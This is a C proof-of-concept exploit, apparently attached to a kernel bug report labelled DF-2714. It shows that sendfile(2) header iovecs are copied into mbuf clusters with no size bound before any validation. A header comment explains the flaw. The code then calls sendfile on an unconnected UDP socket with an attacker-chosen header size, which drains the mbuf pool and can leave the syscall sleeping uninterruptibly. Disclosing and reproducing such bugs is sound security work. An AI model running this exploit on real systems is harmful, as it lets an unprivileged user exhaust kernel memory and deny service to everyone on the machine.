/*
 * DF-2714 - sendfile(2) hdtr headers are marshalled into mbufs with no
 * kernel-memory bound before any socket accounting or validation.
 *
 * sys_sendfile() (sys/kern/uipc_syscalls.c:1617-1642) calls m_uiomove()
 * on the hdtr header iovec BEFORE kern_sendfile() runs any check.  The
 * header total can be up to SSIZE_MAX-1 (iovec_copyin only rejects
 * overflow), so an unprivileged user forces the kernel to allocate an
 * attacker-chosen number of mbuf clusters (M_WAITOK) while the syscall
 * runs - bounded only by the global mbuf pool / system RAM.  sosend()
 * self-throttles on ssb_space(); sendfile headers do not.
 *
 * argv[1] = header size in MB (default 48 - below the guest's
 *           33296 x 2KB ~ 65MB cluster pool, so the call returns)
 *           A size larger than the pool makes the syscall sleep
 *           uninterruptibly while holding every mbuf cluster.
 *
 * Note the socket argument is a plain, unconnected UDP socket: header
 * marshalling happens before kern_sendfile() ever validates the socket,
 * and the sendfile fd is just /etc/passwd opened O_RDONLY.
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	size_t mb = argc > 1 ? (size_t)atol(argv[1]) : 48;
	size_t len = mb << 20;
	void *map;
	struct sf_hdtr hdtr;
	struct iovec iov;
	off_t sbytes;
	int fd, s, rc;

	map = malloc(len);
	if (map == NULL)
		err(1, "malloc %zu", len);
	memset(map, 0x5a, len);		/* fault the pages in */

	fd = open("/etc/passwd", O_RDONLY);
	if (fd < 0)
		err(1, "open");
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket");

	iov.iov_base = map;
	iov.iov_len = len;
	hdtr.headers = &iov;
	hdtr.hdr_cnt = 1;
	hdtr.trailers = NULL;
	hdtr.trl_cnt = 0;

	printf("sendfile: fd=%d s=%d header=%zu MB ...\n", fd, s, mb);
	fflush(stdout);
	rc = sendfile(fd, s, 0, 0, &hdtr, &sbytes, 0);
	printf("sendfile returned rc=%d errno=%d (%s) sbytes=%lld\n",
	    rc, errno, strerror(errno), (long long)sbytes);
	return 0;
}
